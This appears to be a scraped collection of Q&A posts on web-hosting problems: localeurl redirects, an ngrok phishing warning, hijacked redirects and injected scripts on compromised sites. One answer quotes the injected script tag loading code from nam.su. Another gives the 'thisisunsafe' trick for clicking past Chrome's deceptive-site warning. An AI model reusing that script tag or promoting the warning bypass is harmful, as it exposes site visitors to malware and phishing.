django-localeurl together with FORCE_SCRIPT_NAME not working - django

I'm currently working on a site where multiple locales will be served under different URLs using django-localeurl. localeurl has always worked for me before when served directly at the top level but this time around I have to use settings.FORCE_SCRIPT_NAME because it needs to be served under a sub-path.
The problem is that when the user enters the site he is redirected to http://www.example.com/en/ and not http://www.example.com/site/en/ as he should be. Serving the site under http://www.example.com/site/ works perfectly when I disable localeurl.
Any suggestions as to how I could fix this would be greatly appreciated as I'm close to tearing my hair out any second now!

There is an open ticket in locale-url for this issue. It also has a proposed patch that fixes it.

Related

Deceptive site ahead google chrome when i tried to open the ngrok url

recently I came across this issue when I exposed my port via ngRok.
I simply forwarded it but when I tried to open the ngRok url I got Deceptive site ahead warning.
Here is the image of the warning.
It was a django server with graphql and I wanted to test graphiql. (this point might not be necessary for the reader but more info is always better than no info)
So the solution I found was to click on the red empty area and type "thisisunsafe" (without quotes of-course)
PS: I searched for the solution but couldn't find any I hope this will help others who are looking for the same.
Another workaround that I found is using that same URL in an incognito window. I'm not sure why the security is more lax there...but it works.

Accessing wildcard page in flask by naked domain from phone redirects to searchvity.com

Hi I'm new at domains and registrars and just stumbled upon a really weird behaviour that I don't know how to tackle.
I built a website with flask (hosted in PythonAnywhere, with domain.com as my registrar). I set things up at domain.com so that the naked domain redirects to the www. version, and it works well for any page in the site that I've defined specifically in my flask like #app.route('/something/').
I had to tweak things a bit so that the naked domain also accepts them without the last slash, like this...
#app.route('/something/')
#app.route('/something')
def something()
# actual code
...but, when I try to access a page that doesn't exist through the naked domain, on computer it doesn't work (404 error, doesn't even show a simple html page) and on my phone it shows a weird random page that after gossiping a bit I realized is by searchvity.com. And I mean, I have absolutely no clue about how on earth that's possible.
Also, the weirdest part of all this is I actually have a route in flask that should manage this (#app.route('/<randomurl>/'), also with and without slash), but as said, that only works when accessing the www. version of the domain.
I know it's kinda a minor issue (since why would anyone try to access on purpose a page that doesn't exist specifically in the naked domain). But it bothers me quite a bit that someone could be redirected to that random site if the conditions are given and they are comming from phone... and in any case it's an issue that shouldn't be there and I don't even know where to start in order to fix it.
EDIT: now apparently the desktop version also shows that same weird page.
EDIT2: The reason I had only 404 on my desktop and not the weird (DNS spoofing?) page was AdBlock.
EDIT3: When the issue happens, the server at pythonanywhere doesn't even see the access data (it's like nothing happened).
Finally I found NakedSSL, which lets you redirect people from your naked domain towards the https version.
I got to add a free SSL certificate on my pythonanywhere page (which is as easy as two clicks), and then on NakedSSL everything is quite straight forward too.
Now I get the proper pages in all the cases (404, wildcard, etc) and there are no more weird spoofing things.

Can't remove a "security" folder from the server via FTP

I currently host a website on Hostgator. My site redirects to an Adobe Flash Update automatically. I contacted support at Hostgator and they did not want to help, they said I need to contact sitelock to remove the malware is causing the redirection.
I ftp in to the server and found there is a ".security" folder which seems to be the cause of the problem. It has some zip files and other php files. I cannot change its permissions nor delete it.
Does anyone knows how can I remove this malware from the server? Any help is welcome thank you.
In reference to my last issue with Hostgator and a Malware site.
The site was running OpenCart and I found that the origin of the problem was within the back end of OpenCart, specifically under Settings > Server > Google Analytics Code with a suspicious domain in the text area.
`<!-- startgoogle -->
<script src="http://nam.su/google2"></script>
<!-- endgoogle --></head>`
Whoever did this to the site was able to login and manually enter the script in the poorly escaped and sanitize text area. Therefore making a mess. I just hope that I don't get banned from this site for publishing the link above but I think that someone may come across a similar problem and find this 'honest' mistake, useful. I am also interested in what's wrong with OpenCart's textarea.

disabling or refusing to accept cookies in moodle

I'm having trouble working with moodle. I've installed it successfully. After I filled the installation form
Firefox has detected that the server is redirecting the request for this address in a way that will never complete.
This problem can sometimes be caused by disabling or refusing to accept cookies.", the second pic. I tried again but it says the same thing for 2 days now. I've tried removing cookies, but still doesn't work.
There is an easy way.
In the file
\moodle\admin\index.php
search and commandout
//redirect("index.php?sessionstarted=1&lang=$CFG->lang");
This trick worked for me.

Is it possible to be attacked with XSS on a static page (i.e. without PHP)?

A client I'm working for has mysteriously ended up with some malicious scripting going on on their site. I'm a little baffled however because the site is static and not dynamically generated - no PHP, Rails, etc. At the bottom of the page though, somebody opened a new tag and a script. When I opened the file on the webserver and stripped the malicious stuff and re-uploaded, it was still there. How is this possible? And more importantly, how can I combat this?
EDIT:
To make it weirder, I just noticed the script only shows up in the source if the page is accessed directly as 'domain.com/index.html' but not as just 'domain.com'.
EDIT2:
At any rate, I found some php file (x76x09.php) sitting on the web server that must have been updating the html file despite my attempts to strip it of the script. I'm currently in the clear but I do have to do some work to make sure rogue files don't just appear again and cause problems. If anyone has any suggestions on this feel free to leave a comment, otherwise thanks for the help everyone! It was very much appreciated!
No it's not possible unless someone has access to your files. So in your case someone has access to your files.
Edit: It's best if you ask in serverfault.com regarding what to do in case the server is compromised, but:
change your shell passwords
have a look at /var/log/messages for login attempts
finger root
have a look at last modification time of those files
There is also a high propability that the files where altered via http by using a vulnerability of a software component you use together with the static files.
To the point about the site not having pages executing on the server, XSS is absolutely still possible using a DOM based attack. Usually this will relate to JavaScript execution outputting content to the page. Just last week WhiteHat Security had an XSS vulnerability identified on a purely “static” page.
It may well be that the attack vector relates to file level access but I suggest it’s also worthwhile taking a look at what’s going on JS wise.
You should probably talk to your hosting company about this. Also, check that your file permissions aren't more lenient than they should be for your particular environment.
That's happened to me before - this happens if they get your ftp details. So, whoever did it, obviously got ahold of your ftp details somehow.
Best thing to do is change your password and contact your webhosting company to figure out a better solution.
Unfortunately, FTP isn't the most secure...